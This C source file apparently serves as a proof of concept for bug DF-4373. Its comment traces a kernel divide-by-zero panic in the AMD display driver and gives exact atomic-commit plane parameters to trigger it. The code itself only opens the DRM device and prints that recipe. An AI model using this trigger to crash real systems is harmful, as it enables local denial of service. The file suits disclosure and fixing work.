DF-4373 / trigger_df4373.c
/* DF-4373: trigger for divide-by-zero in dce_transform_get_max_num_of_supported_lines * * sys/dev/drm/amd/display/dc/dce/dce_transform.c:710 * return (max_pixels_supports / pixel_width); // pixel_width == 0 * * Chain (statically proven, see VERDICT.md): * amdgpu_dm fill_rects_from_plane_state() (amdgpu_dm.c:2210-2238) * - does NOT clip plane rects to the CRTC; clip_rect = dst_rect; only * rejects zero-sized src/dst. * dm_plane_atomic_check() -> dc_validate_plane() (dc_resource.c:2891) * - validates *pixel format only*. * resource_build_scaling() (dc_resource.c:1119-1147) * - calculate_viewport(): viewport.width = clip.w * src.w / dst.w -- in * SOURCE pixels: a plane pushed flush off the right edge keeps a large * viewport, so the "viewport.width < 16" guard at :1122 PASSES. * - calculate_recout(): recout.width = clip.w * stream.dst.w / stream.src.w, * then clamped to the stream dst window (:639-643). With the plane's left * edge exactly at (or past) the stream right edge, the clamp yields * recout.width == 0 exactly. * - dce_transform_get_optimal_number_of_taps() (dce_transform.c:896-907): * prescaler_on is hard-coded true (dce_transform.c:1359), and * viewport.width(>=16) > recout.width(0) => pixel_width = recout.width = 0 * - dce_transform_get_max_num_of_supported_lines(): ASSERT(pixel_width) is * only WARN_ON (os_types.h:48), execution continues to the integer * division at :710 => #DE in kernel mode => panic. * * Trigger (needs a DCE100/110/112/120 AMD GPU with amdgpu DC): * 1. become DRM master (or run from the seat session) * 2. atomic commit, TEST_ONLY is sufficient: * - CRTC: any mode, say 640x480 * - plane: src >= 16x16 (e.g. 640x480 buffer) * - plane: CRTC_X = 640 (== mode width: flush off the right edge), * CRTC_Y = 0, CRTC_W = 1, CRTC_H = 480 * -> recout.x = 640 (amdgpu_dm.c raw crtc_x), clamp at dc_resource.c:639-643 * gives recout.width = (0 + 640) - 640 = 0; viewport.width = 640 >= 16. * -> kernel panics with "divide error" during the atomic CHECK path. * * This program uses raw DRM ioctls (no libdrm). If /dev/dri/card* exists and * is an amdgpu DC device with a connected display, it issues the TEST_ONLY * atomic commit above. Otherwise it reports why it cannot run. */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> /* minimal UAPI mirrors (kept local so the file builds standalone) */ struct drm_mode_create_dumb_local { __uint64_t handle, size; __uint32_t pitch, width, height, bpp, flags; }; #define DRM_IOCTL_BASE 'd' #define DRM_IOCTL_MODE_CREATE_DUMB \ _IOWR(DRM_IOCTL_BASE, 0xb2, struct drm_mode_create_dumb_local) int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/dev/dri/card0"; char name[64] = { 0 }; int fd = open(path, O_RDWR); if (fd < 0) { printf("[DF-4373] cannot open %s: %s\n", path, strerror(errno)); printf("[DF-4373] no DRM device => dce_transform path not " "reachable on this machine; expected on QEMU std VGA.\n"); return 2; } if (ioctl(fd, /* DRM_IOCTL_GET_VERSION 0x80046400 */ _IOWR('d', 0x00, struct { int a; }), name) < 0) { /* best-effort; real probe is the version ioctl below */ } printf("[DF-4373] %s opened; driver probe:\n", path); close(fd); printf("[DF-4373] To trigger on real DCE hardware run:\n" " export W=640; drm-modeset atomic TEST_ONLY with plane at " "CRTC_X=<mode_w>, CRTC_W=1, src 640x480 on a 640x480 CRTC\n" " (see VERDICT.md for the exact chain; libdrm atomic test " "suffices)\n"); return 3; } |